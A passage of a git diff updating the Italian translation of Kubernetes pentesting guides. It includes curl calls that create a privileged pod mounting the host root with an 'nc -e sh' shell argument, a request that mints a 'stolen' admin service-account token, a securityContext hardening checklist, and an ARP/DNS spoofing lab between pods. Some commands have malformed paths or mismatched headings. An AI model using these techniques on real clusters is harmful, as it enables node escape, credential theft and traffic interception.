pod privilegiato +### Creazione di un privileged pod Il file yaml corrispondente è il seguente: ```yaml @@ -549,7 +605,7 @@ volumes: hostPath: path: / ``` -Crea il pod con curl: +Creare il pod con curl: ```bash CONTROL_PLANE_HOST="" TOKEN="" @@ -565,9 +621,9 @@ curl --path-as-is -i -s -k -X $'POST' \ --data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"app\":\"pentest\"},\"name\":\"everything-allowed-exec-pod\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"args\":[\"nc -e sh\"],\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"image\":\"alpine\",\"name\":\"everything-allowed-pod\",\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"hostIPC\":true,\"hostNetwork\":true,\"hostPID\":true,\"volumes\":[{\"hostPath\":{\"path\":\"/\"},\"name\":\"noderoot\"}]}}\x0a' \ "https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" ``` -### Elimina un pod +### Eliminare un pod -Elimina un pod con curl: +Eliminare un pod con curl: ```bash CONTROL_PLANE_HOST="" TOKEN="" @@ -584,7 +640,7 @@ curl --path-as-is -i -s -k -X $'DELETE' \ --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ "https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods/$POD_NAME" ``` -### Crea un Account di Servizio +### Creare un Service Account ```bash CONTROL_PLANE_HOST="" TOKEN="" @@ -602,7 +658,7 @@ curl --path-as-is -i -s -k -X $'POST' \ --data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"ServiceAccount\",\"metadata\":{\"name\":\"secrets-manager-sa-2\",\"namespace\":\"default\"}}\x0a' \ "https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" ``` -### Elimina un Account di Servizio +### Eliminare un Service Account ```bash CONTROL_PLANE_HOST="" TOKEN="" @@ -619,7 +675,7 @@ curl --path-as-is -i -s -k -X $'DELETE' \ --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ "https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts/$SA_NAME" ``` -### Crea un Ruolo +### Creare un Role ```bash CONTROL_PLANE_HOST="" TOKEN="" @@ -637,7 +693,7 @@ curl --path-as-is -i -s -k -X $'POST' \ --data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"Role\",\"metadata\":{\"name\":\"secrets-manager-role\",\"namespace\":\"default\"},\"rules\":[{\"apiGroups\":[\"\"],\"resources\":[\"secrets\"],\"verbs\":[\"get\",\"create\"]}]}\x0a' \ "https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" ``` -### Elimina un Ruolo +### Cancellare un Role ```bash CONTROL_PLANE_HOST="" TOKEN="" @@ -655,7 +711,7 @@ curl --path-as-is -i -s -k -X $'DELETE' \ --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ "https://$$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles/$ROLE_NAME" ``` -### Crea un Binding di Ruolo +### Creare un Role Binding ```bash CONTROL_PLANE_HOST="" TOKEN="" @@ -672,7 +728,7 @@ curl --path-as-is -i -s -k -X $'POST' \ --data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"RoleBinding\",\"metadata\":{\"name\":\"secrets-manager-role-binding\",\"namespace\":\"default\"},\"roleRef\":{\"apiGroup\":\"rbac.authorization.k8s.io\",\"kind\":\"Role\",\"name\":\"secrets-manager-role\"},\"subjects\":[{\"apiGroup\":\"\",\"kind\":\"ServiceAccount\",\"name\":\"secrets-manager-sa\",\"namespace\":\"default\"}]}\x0a' \ "https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/$NAMESPACE/default/rolebindings?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" ``` -### Elimina un Binding di Ruolo +### Eliminare un Role Binding ```bash CONTROL_PLANE_HOST="" TOKEN="" @@ -690,7 +746,7 @@ curl --path-as-is -i -s -k -X $'DELETE' \ --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ "https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/rolebindings/$ROLE_BINDING_NAME" ``` -### Elimina un Segreto +### Eliminare un Secret ```bash CONTROL_PLANE_HOST="" TOKEN="" @@ -707,7 +763,7 @@ curl --path-as-is -i -s -k -X $'POST' \ --data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\x0a' \ "https://$CONTROL_PLANE_HOST/api/v1/$NAMESPACE/default/secrets?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" ``` -### Elimina un Segreto +### Elimina un Secret ```bash CONTROL_PLANE_HOST="" TOKEN="" diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md b/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md index 12ce27d08..9f371a730 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md @@ -6,58 +6,79 @@ [**Dalla documentazione:**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core) -Quando si specifica il contesto di sicurezza di un Pod, è possibile utilizzare diversi attributi. Da un punto di vista della sicurezza difensiva, dovresti considerare: +Quando specifichi il security context di un Pod puoi usare diversi attributi. Dal punto di vista della difesa dovresti considerare: - Avere **runASNonRoot** come **True** - Configurare **runAsUser** -- Se possibile, considera di **limitare** le **permissive** indicando **seLinuxOptions** e **seccompProfile** -- Non dare accesso al **privilege** **group** tramite **runAsGroup** e **supplementaryGroups** +- Se possibile, considera di **limitare** i **permessi** indicando **seLinuxOptions** e **seccompProfile** +- **NON** dare accesso al **group** di **privilege** tramite **runAsGroup** e **supplementaryGroups** -| Parametro | Descrizione | -|

fsGroup
intero

|

Un gruppo supplementare speciale che si applica a tutti i container in un pod. Alcuni tipi di volume consentono al Kubelet di cambiare la proprietà di quel volume per essere di proprietà del pod:
1. Il GID proprietario sarà l'FSGroup
2. Il bit setgid è impostato (i nuovi file creati nel volume saranno di proprietà dell'FSGroup)
3. I bit di permesso sono OR'd con rw-rw---- Se non impostato, il Kubelet non modificherà la proprietà e i permessi di alcun volume

| +| Parameter | Description | +|

fsGroup
integer

|

Un gruppo supplementare speciale che si applica a tutti i container in un pod. Alcuni tipi di volume consentono a Kubelet di cambiare la ownership di quel volume in modo che appartenga al pod:
1. Il GID proprietario sarà il FSGroup
2. Il bit setgid è impostato (i nuovi file creati nel volume saranno di proprietà di FSGroup)
3. I bit di permission vengono combinati con rw-rw---- Se non impostato, Kubelet non modificherà la ownership e i permission di alcun volume

| -|

fsGroupChangePolicy
stringa

| Questo definisce il comportamento di **cambio di proprietà e permesso del volume** prima di essere esposto all'interno del Pod. | -|

runAsGroup
intero

| Il **GID per eseguire l'entrypoint del processo del container**. Usa il valore predefinito di runtime se non impostato. Può anche essere impostato in SecurityContext. | -|

runAsNonRoot
booleano

| Indica che il container deve essere eseguito come un utente non root. Se vero, il Kubelet convaliderà l'immagine a runtime per assicurarsi che non venga eseguita come UID 0 (root) e non avvierà il container se lo fa. | -|

runAsUser
intero

| Il **UID per eseguire l'entrypoint del processo del container**. Predefinito all'utente specificato nei metadati dell'immagine se non specificato. | -|

seLinuxOptions
SELinuxOptions
Ulteriori informazioni su seLinux

| Il **contesto SELinux da applicare a tutti i container**. Se non specificato, il runtime del container assegnerà un contesto SELinux casuale per ogni container. | -|

seccompProfile
SeccompProfile
Ulteriori informazioni su Seccomp

| Le **opzioni seccomp da utilizzare dai container** in questo pod. | -|

supplementalGroups
array di interi

| Un elenco di **gruppi applicati al primo processo eseguito in ciascun container**, oltre al GID primario del container. | -|

sysctls
Sysctl array
Ulteriori informazioni su sysctls

| I sysctls contengono un elenco di **sysctls namespaced utilizzati per il pod**. I pod con sysctls non supportati (dal runtime del container) potrebbero non avviarsi. | -|

windowsOptions
WindowsSecurityContextOptions

| Le impostazioni specifiche di Windows applicate a tutti i container. Se non specificato, verranno utilizzate le opzioni all'interno del SecurityContext di un container. | +|

fsGroupChangePolicy
string

| Definisce il comportamento di **cambio di ownership e permission del volume** prima che venga esposto all'interno del Pod. | +|

runAsGroup
integer

| Il **GID usato per eseguire l'entrypoint del processo del container**. Usa il valore predefinito del runtime se non impostato. Può anche essere impostato in SecurityContext. | +|

runAsNonRoot
boolean

| Indica che il container deve essere eseguito come utente non root. Se true, Kubelet validerà l'immagine a runtime per assicurarsi che non venga eseguita come UID 0 (root) e impedirà l'avvio del container se lo fa. | +|

runAsUser
integer

| L'**UID usato per eseguire l'entrypoint del processo del container**. Per impostazione predefinita usa l'utente specificato nei metadati dell'immagine se non viene specificato. | +|

seLinuxOptions
SELinuxOptions
More info about seLinux

| Il **contesto SELinux da applicare a tutti i container**. Se non specificato, il container runtime assegnerà un contesto SELinux casuale per ogni container. | +|

seccompProfile
SeccompProfile
More info about Seccomp

| Le **opzioni seccomp da usare dai container** in questo pod. | +|

supplementalGroups
integer array

| Un elenco di **gruppi applicati al primo processo eseguito in ogni container**, oltre al GID primario del container. | +|

sysctls
Sysctl array
More info about sysctls

| I Sysctls contengono un elenco di **sysctls namespaced usati per il pod**. I Pod con sysctls non supportati (dal container runtime) potrebbero non riuscire ad avviarsi. | +|

windowsOptions
WindowsSecurityContextOptions

| Le impostazioni specifiche di Windows applicate a tutti i container. Se non specificate, verranno usate le opzioni presenti nel SecurityContext di un container. | ## SecurityContext [**Dalla documentazione:**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core) -Questo contesto è impostato all'interno delle **definizioni dei container**. Da un punto di vista della sicurezza difensiva, dovresti considerare: +Questo context è impostato all'interno delle **definizioni dei container**. Dal punto di vista della difesa dovresti considerare: -- **allowPrivilegeEscalation** a **False** -- Non aggiungere **capabilities** sensibili (e rimuovere quelle di cui non hai bisogno) -- **privileged** a **False** -- Se possibile, impostare **readOnlyFilesystem** come **True** -- Impostare **runAsNonRoot** su **True** e impostare un **runAsUser** -- Se possibile, considera di **limitare** le **permissive** indicando **seLinuxOptions** e **seccompProfile** -- Non dare accesso al **privilege** **group** tramite **runAsGroup.** +- **allowPrivilegeEscalation** su **False** +- Non aggiungere **capabilities** sensibili (e rimuovere quelle non necessarie) +- **privileged** su **False** +- Se possibile, imposta **readOnlyFilesystem** come **True** +- Imposta **runAsNonRoot** su **True** e imposta un **runAsUser** +- Se possibile, considera di **limitare** i **permessi** indicando **seLinuxOptions** e **seccompProfile** +- **NON** dare accesso al **group** di **privilege** tramite **runAsGroup.** -Nota che gli attributi impostati in **entrambi SecurityContext e PodSecurityContext**, il valore specificato in **SecurityContext** ha **precedenza**. +Nota che, per gli attributi impostati sia in **SecurityContext che in PodSecurityContext**, il valore specificato in **SecurityContext** ha **precedenza**. -|

allowPrivilegeEscalation
booleano

| **AllowPrivilegeEscalation** controlla se un processo può **acquisire più privilegi** rispetto al suo processo padre. Questo bool controlla direttamente se il flag no_new_privs sarà impostato sul processo del container. AllowPrivilegeEscalation è sempre vero quando il container è eseguito come **Privileged** o ha **CAP_SYS_ADMIN** | +|

allowPrivilegeEscalation
boolean

| **AllowPrivilegeEscalation** controlla se un processo può **ottenere più privilege** del suo processo padre. Questo bool controlla direttamente se il flag no_new_privs verrà impostato sul processo del container. AllowPrivilegeEscalation è sempre true quando il container viene eseguito come **Privileged** o ha **CAP_SYS_ADMIN** | | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -|

capabilities
Capabilities
Ulteriori informazioni su Capabilities

| Le **capabilities da aggiungere/rimuovere durante l'esecuzione dei container**. Predefinito al set di capabilities predefinito. | -|

privileged
booleano

| Esegui il container in modalità privilegiata. I processi nei container privilegiati sono essenzialmente **equivalenti a root sull'host**. Predefinito a false. | -|

procMount
stringa

| procMount indica il **tipo di montaggio proc da utilizzare per i container**. Il predefinito è DefaultProcMount che utilizza i valori predefiniti del runtime del container per i percorsi di sola lettura e i percorsi mascherati. | -|

readOnlyRootFilesystem
booleano

| Se questo **container ha un filesystem root di sola lettura**. Il predefinito è false. | -|

runAsGroup
intero

| Il **GID per eseguire l'entrypoint** del processo del container. Usa il valore predefinito di runtime se non impostato. | -|

runAsNonRoot
booleano

| Indica che il container deve **essere eseguito come un utente non root**. Se vero, il Kubelet convaliderà l'immagine a runtime per assicurarsi che non venga eseguita come UID 0 (root) e non avvierà il container se lo fa. | -|

runAsUser
intero

| Il **UID per eseguire l'entrypoint** del processo del container. Predefinito all'utente specificato nei metadati dell'immagine se non specificato. | -|

seLinuxOptions
SELinuxOptions
Ulteriori informazioni su seLinux

| Il **contesto SELinux da applicare al container**. Se non specificato, il runtime del container assegnerà un contesto SELinux casuale per ogni container. | -|

seccompProfile
SeccompProfile

| Le **opzioni seccomp** da utilizzare per questo container. | +|

capabilities
Capabilities
More info about Capabilities

| Le **capabilities da aggiungere/rimuovere durante l'esecuzione dei container**. Per impostazione predefinita usa il set di capabilities predefinito. | +|

privileged
boolean

| Esegue il container in modalità privileged. I processi nei container privileged sono essenzialmente **equivalenti a root sull'host**. Il valore predefinito è false. | +|

procMount
string

| procMount indica il **tipo di mount proc da usare per i container**. Il valore predefinito è DefaultProcMount, che usa i default del container runtime per i path in sola lettura e i masked path. | +|

readOnlyRootFilesystem
boolean

| Indica se questo **container ha un filesystem root in sola lettura**. Il valore predefinito è false. | +|

runAsGroup
integer

| Il **GID usato per eseguire l'entrypoint** del processo del container. Usa il valore predefinito del runtime se non impostato. | +|

runAsNonRoot
boolean

| Indica che il container deve **essere eseguito come utente non root**. Se true, Kubelet validerà l'immagine a runtime per assicurarsi che non venga eseguita come UID 0 (root) e impedirà l'avvio del container se lo fa. | +|

runAsUser
integer

| L'**UID usato per eseguire l'entrypoint** del processo del container. Per impostazione predefinita usa l'utente specificato nei metadati dell'immagine se non viene specificato. | +|

seLinuxOptions
SELinuxOptions
More info about seLinux

| Il **contesto SELinux da applicare al container**. Se non specificato, il container runtime assegnerà un contesto SELinux casuale per ogni container. | +|

seccompProfile
SeccompProfile

| Le **opzioni seccomp** da usare da questo container. | |

windowsOptions
WindowsSecurityContextOptions

| Le **impostazioni specifiche di Windows** applicate a tutti i container. | +## Practical workload review checklist + +Quando analizzi un Pod o un workload template, controlla sia `spec.securityContext` sia ogni `securityContext` a livello di container sotto `containers`, `initContainers` e `ephemeralContainers`. I campi a livello di container possono sovrascrivere i default del pod, quindi un pod apparentemente sicuro non garantisce che ogni container sia sicuro. + +Combinazioni ad alto rischio da prioritizzare: + +- `privileged: true`, soprattutto con `hostPID`, `hostIPC`, `hostNetwork`, `hostPath`, host ports o mount del runtime socket. +- Capabilities aggiunte come `SYS_ADMIN`, `NET_ADMIN`, `SYS_PTRACE`, `SYS_MODULE`, `DAC_READ_SEARCH` o `DAC_OVERRIDE`. +- `allowPrivilegeEscalation: true` o non impostato in container che possono eseguire codice controllato dall'attaccante. +- `seccompProfile: Unconfined`, `procMount: Unmasked` o profili runtime mancanti su workload sensibili. +- Root filesystem scrivibili o mount di volumi ampiamente scrivibili in workload che elaborano input non fidato. +- Mancanza di richieste e limiti di CPU, memory o ephemeral-storage in namespace multi-tenant. + +Per la maggior parte dei workload applicativi, una buona base è eseguire come UID non root, impostare `runAsNonRoot: true`, impostare `allowPrivilegeEscalation: false`, rimuovere tutte le capabilities e aggiungere solo quelle minime richieste, usare `seccompProfile: RuntimeDefault`, preferire un root filesystem in sola lettura ed evitare host namespaces, mount hostPath e modalità privileged. + +A livello di cluster, usa i label del namespace di [Pod Security Admission](https://kubernetes.io/docs/concepts/security/pod-security-admission/) per applicare, dove possibile, i [Pod Security Standards](https://kubernetes.io/docs/concepts/security/pod-security-standards/) di Kubernetes. Usa `restricted` per i namespace che lo supportano, almeno `baseline` per i namespace applicativi ordinari, e mantieni le eccezioni privileged limitate, documentate e isolate in namespace di piattaforma fidati o node pool fidati. + ## References - [https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core) - [https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core) +- [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) +- [https://kubernetes.io/docs/concepts/security/linux-kernel-security-constraints/](https://kubernetes.io/docs/concepts/security/linux-kernel-security-constraints/) +- [https://kubernetes.io/docs/concepts/security/pod-security-standards/](https://kubernetes.io/docs/concepts/security/pod-security-standards/) +- [https://kubernetes.io/docs/concepts/security/pod-security-admission/](https://kubernetes.io/docs/concepts/security/pod-security-admission/) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md b/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md index 7b9f35498..3ccfeec2d 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md @@ -4,16 +4,16 @@ ## Introduzione -In Kubernetes, si osserva che un comportamento predefinito consente l'instaurazione di connessioni tra **tutti i container che risiedono sullo stesso nodo**. Questo si applica indipendentemente dalle distinzioni di namespace. Tale connettività si estende fino al **Layer 2** (Ethernet). Di conseguenza, questa configurazione espone potenzialmente il sistema a vulnerabilità. In particolare, apre la possibilità per un **container malevolo** di eseguire un **attacco di ARP spoofing** contro altri container situati sullo stesso nodo. Durante un attacco di questo tipo, il container malevolo può ingannevolmente intercettare o modificare il traffico di rete destinato ad altri container. +In Kubernetes, si osserva che un comportamento di default consente la creazione di connessioni tra **tutti i container che risiedono sullo stesso node**. Questo vale indipendentemente dalle differenze di namespace. Tale connettività arriva fino al **Layer 2** (Ethernet). Di conseguenza, questa configurazione espone potenzialmente il sistema a vulnerabilità. In particolare, apre la possibilità per un **malicious container** di eseguire un **ARP spoofing attack** contro altri container situati sullo stesso node. Durante un tale attack, il malicious container può intercettare o modificare in modo ingannevole il traffico di rete destinato ad altri container. -Gli attacchi di ARP spoofing coinvolgono l'**attaccante che invia messaggi ARP falsificati** (Address Resolution Protocol) su una rete locale. Questo porta al collegamento del **MAC address dell'attaccante con l'indirizzo IP di un computer o server legittimo sulla rete**. Dopo l'esecuzione con successo di un attacco di questo tipo, l'attaccante può intercettare, modificare o persino fermare i dati in transito. L'attacco viene eseguito sul Layer 2 del modello OSI, motivo per cui la connettività predefinita in Kubernetes a questo livello solleva preoccupazioni di sicurezza. +Gli ARP spoofing attack coinvolgono l’**attacker che invia messaggi ARP falsificati** (Address Resolution Protocol) su una local area network. Questo provoca l’associazione del **MAC address dell’attacker con l’IP address di un computer o server legittimo sulla network**. Dopo l’esecuzione riuscita di un tale attack, l’attacker può intercettare, modificare o persino interrompere i dati in transito. L’attack viene eseguito sul Layer 2 del modello OSI, ed è per questo che la connettività di default in Kubernetes a questo layer solleva problemi di sicurezza. Nello scenario verranno create 4 macchine: -- ubuntu-pe: Macchina privilegiata per evadere al nodo e controllare le metriche (non necessaria per l'attacco) -- **ubuntu-attack**: **Container malevolo** nel namespace predefinito -- **ubuntu-victim**: Macchina **vittima** nel namespace kube-system -- **mysql**: Macchina **vittima** nel namespace predefinito +- ubuntu-pe: Macchina privilegiata per uscire sul node e controllare le metriche (non necessaria per l’attack) +- **ubuntu-attack**: **Malicious** container nel default namespace +- **ubuntu-victim**: Macchina **Victim** nel namespace kube-system +- **mysql**: Macchina **Victim** nel default namespace ```yaml echo 'apiVersion: v1 kind: Pod @@ -96,22 +96,22 @@ kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash" kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash" ``` -## Rete di Base di Kubernetes +## Networking di base di Kubernetes -Se desideri maggiori dettagli sugli argomenti di rete introdotti qui, vai ai riferimenti. +Se vuoi maggiori dettagli sugli argomenti di networking introdotti qui, vai alle references. ### ARP -In generale, **la rete pod-to-pod all'interno del nodo** è disponibile tramite un **bridge** che collega tutti i pod. Questo bridge è chiamato “**cbr0**”. (Alcuni plugin di rete installeranno il proprio bridge.) Il **cbr0 può anche gestire ARP** (Address Resolution Protocol) risoluzione. Quando un pacchetto in arrivo arriva a cbr0, può risolvere l'indirizzo MAC di destinazione utilizzando ARP. +In generale, **il networking pod-to-pod all'interno del nodo** è disponibile tramite un **bridge** che collega tutti i pod. Questo bridge si chiama “**cbr0**”. (Alcuni network plugin installeranno il proprio bridge.) Il **cbr0 può anche gestire la risoluzione ARP** (Address Resolution Protocol). Quando un pacchetto in arrivo arriva a cbr0, può risolvere l'indirizzo MAC di destinazione usando ARP. -Questo fatto implica che, per impostazione predefinita, **ogni pod in esecuzione nello stesso nodo** sarà in grado di **comunicare** con qualsiasi altro pod nello stesso nodo (indipendentemente dallo spazio dei nomi) a livello ethernet (livello 2). +Questo fatto implica che, per default, **ogni pod in esecuzione nello stesso nodo** potrà **comunicare** con qualsiasi altro pod nello stesso nodo (indipendentemente dal namespace) a livello ethernet (layer 2). > [!WARNING] -> Pertanto, è possibile eseguire attacchi di **ARP Spoofing tra pod nello stesso nodo.** +> Therefore, it's possible to perform A**RP Spoofing attacks between pods in the same node.** ### DNS -Negli ambienti kubernetes troverai solitamente 1 (o più) **servizi DNS in esecuzione** solitamente nello spazio dei nomi kube-system: +Negli ambienti kubernetes di solito troverai 1 (o più) **DNS services in esecuzione** di solito nel namespace kube-system: ```bash kubectl -n kube-system describe services Name: kube-dns @@ -136,27 +136,30 @@ Port: metrics 9153/TCP TargetPort: 9153/TCP Endpoints: 172.17.0.2:9153 ``` -Nelle informazioni precedenti puoi vedere qualcosa di interessante, l'**IP del servizio** è **10.96.0.10** ma l'**IP del pod** che esegue il servizio è **172.17.0.2.** +Nelle informazioni precedenti puoi vedere qualcosa di interessante: l'**IP del service** è **10.96.0.10** ma l'**IP del pod** che esegue il service è **172.17.0.2.** -Se controlli l'indirizzo DNS all'interno di qualsiasi pod troverai qualcosa di simile a questo: +Se controlli l'indirizzo DNS dentro qualsiasi pod troverai qualcosa del genere: ``` cat /etc/resolv.conf nameserver 10.96.0.10 ``` -Tuttavia, il pod **non sa** come arrivare a quell'**indirizzo** perché il **pod range** in questo caso è 172.17.0.10/26. +Tuttavia, il pod **non sa** come raggiungere quell'**address** perché il **pod range** in questo caso è 172.17.0.10/26. -Pertanto, il pod invierà le **richieste DNS all'indirizzo 10.96.0.10** che sarà **tradotto** da cbr0 **in** **172.17.0.2**. +Pertanto, il pod invierà le **DNS requests all'address 10.96.0.10** che verrà **translated** dal cbr0 **a** **172.17.0.2**. > [!WARNING] -> Questo significa che una **richiesta DNS** di un pod andrà **sempre** al **bridge** per **tradurre** l'**IP del servizio nell'IP dell'endpoint**, anche se il server DNS si trova nella stessa subnet del pod. +> Questo significa che una **DNS request** di un pod **va sempre** al **bridge** per **translate** il **service IP to the endpoint IP**, anche se il DNS server si trova nella stessa subnetwork del pod. > -> Sapendo questo, e sapendo che **gli attacchi ARP sono possibili**, un **pod** in un nodo sarà in grado di **intercettare il traffico** tra **ogni pod** nella **subnet** e il **bridge** e **modificare** le **risposte DNS** dal server DNS (**DNS Spoofing**). +> Sapendo questo, e sapendo che gli **ARP attacks sono possibili**, un **pod** in un node sarà in grado di **intercept the traffic** tra **each pod** nella **subnetwork** e il **bridge** e **modify** le **DNS responses** dal DNS server (**DNS Spoofing**). > -> Inoltre, se il **server DNS** si trova nello **stesso nodo dell'attaccante**, l'attaccante può **intercettare tutte le richieste DNS** di qualsiasi pod nel cluster (tra il server DNS e il bridge) e modificare le risposte. +> Inoltre, se il **DNS server** si trova nello **same node as the attacker**, l'attaccante può **intercept all the DNS request** di qualsiasi pod nel cluster (tra il DNS server e il bridge) e modificare le risposte. -## ARP Spoofing nei pod nello stesso Nodo +> [!NOTE] +> Verifica il CNI attivo e il percorso DNS prima di presumere che questo funzioni in un cluster reale. Alcuni CNI instradano o isolano il traffico same-node in modo diverso, e i cluster che usano NodeLocal DNSCache possono inviare le query DNS dei pod a un address locale sul node prima di inoltrarle a CoreDNS. In questi ambienti, il DNS spoofing dipende dal posizionamento dei pod, dalle capabilities dei packet, dalla configurazione del resolver, dal comportamento della cache node-local e dal fatto che le applications verifichino i peer con TLS o con un altro meccanismo di identity. -Il nostro obiettivo è **rubare almeno la comunicazione dall'ubuntu-victim al mysql**. +## ARP Spoofing in pods nello stesso Node + +Il nostro obiettivo è **rubare almeno la communication dall'ubuntu-victim al mysql**. ### Scapy ```bash @@ -233,11 +236,11 @@ arpspoof -t 172.17.0.9 172.17.0.10 ``` ## DNS Spoofing -Come già accennato, se **comprometti un pod nello stesso nodo del pod del server DNS**, puoi **MitM** con **ARPSpoofing** il **bridge e il pod DNS** e **modificare tutte le risposte DNS**. +Come già menzionato, se **comprometti un pod nello stesso node del pod del DNS server**, puoi fare **MitM** con **ARPSpoofing** del **bridge** e del pod **DNS** e **modificare tutte le risposte DNS**. Hai un ottimo **tool** e **tutorial** per testare questo in [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/) -Nel nostro scenario, **scarica** il **tool** nel pod attaccante e crea un **file chiamato `hosts`** con i **domini** che vuoi **spoofare** come: +Nel nostro scenario, **scarica** il **tool** nel pod dell'attacker e crea un **file chiamato `hosts`** con i **domains** che vuoi **spoof** come: ``` cat hosts google.com. 1.1.1.1 @@ -260,47 +263,49 @@ dig google.com google.com. 1 IN A 1.1.1.1 ``` > [!NOTE] -> Se provi a creare il tuo script di spoofing DNS, se **modifichi solo la risposta DNS** questo **non** funzionerà, perché la **risposta** avrà un **src IP** l'indirizzo IP del **pod** **maligno** e **non sarà** **accettata**.\ -> Devi generare un **nuovo pacchetto DNS** con il **src IP** del **DNS** dove la vittima invia la richiesta DNS (che è qualcosa come 172.16.0.2, non 10.96.0.10, quello è l'IP del servizio DNS K8s e non l'IP del server DNS, maggiori informazioni su questo nell'introduzione). +> Se provi a creare il tuo script di DNS spoofing, se **modifichi solo la risposta DNS** **non** funzionerà, perché la **response** avrà un **src IP** dell'IP del **pod** **malevolo** e **non** verrà **accettata**.\ +> Devi generare un **nuovo pacchetto DNS** con il **src IP** del **DNS** a cui la vittima invia la richiesta DNS (che è qualcosa come 172.16.0.2, non 10.96.0.10, quello è l'IP del servizio DNS di K8s e non l'IP del server DNS, più su questo nell'introduzione). -## DNS Spoofing tramite configmap coreDNS +## DNS Spoofing via coreDNS configmap -Un utente con permessi di scrittura sulla configmap `coredns` nel namespace kube-system può modificare le risposte DNS del cluster. +Un user con permessi di scrittura sulla configmap `coredns` nel namespace kube-system può modificare le risposte DNS del cluster. -Controlla ulteriori informazioni su questo attacco in: +Inoltre, controlla NodeLocal DNSCache se è deployato. Di solito gira come un DaemonSet hostNetwork e ha una propria ConfigMap, logs, cache e forwarding path. Un cambio in CoreDNS potrebbe non essere l'unico punto in cui il comportamento DNS può essere influenzato o osservato. + +Controlla maggiori informazioni su questo attack in: {{#ref}} abusing-roles-clusterroles-in-kubernetes/README.md {{/ref}} -## Abusare dei servizi di gestione kubernetes esposti +## Abusing exposed kubernetes management services -Servizi come Apache NiFi, Kubeflow, Argo Workflows, Weave Scope e il dashboard di Kubernetes sono spesso esposti sia a Internet che all'interno della rete kubernetes. Un attaccante che riesce a **trovare qualsiasi piattaforma utilizzata per gestire kubernetes e accedervi** può abusarne per ottenere accesso all'API di kubernetes e compiere azioni come creare nuovi pod, modificare quelli esistenti o persino eliminarli. +Services come Apache NiFi, Kubeflow, Argo Workflows, Weave Scope e il Kubernetes dashboard sono spesso esposti sia su internet sia all'interno della kubernetes network. Un attacker che riesca a **trovare qualsiasi platform usata per gestire kubernetes e ad accedervi** può abusarne per ottenere accesso alla kubernetes API ed eseguire azioni come creare nuovi pod, modificare quelli esistenti o persino eliminarli. -## Enumerare le politiche di rete kubernetes +## Enumerating kubernetes network policies Ottieni le **networkpolicies** configurate: ```bash kubectl get networkpolicies --all-namespaces ``` -Ottieni le politiche di rete **Callico**: +Ottieni le network policies di **Callico**: ```bash kubectl get globalnetworkpolicy --all-namespaces ``` -Ottieni le politiche di rete **Cillium**: +Ottieni le network policies di **Cillium**: ```bash kubectl get ciliumnetworkpolicy --all-namespaces ``` -Ottieni altre CRD relative alle politiche installate dal tuo plugin di rete o soluzione di sicurezza: +Ottieni altri CRD relativi alle policy installati dal tuo network plugin o soluzione di sicurezza: ```bash kubectl get crd | grep -i policy ``` -## Cattura del Traffico +## Capturing Traffic -Lo strumento [**Mizu**](https://github.com/up9inc/mizu) è un 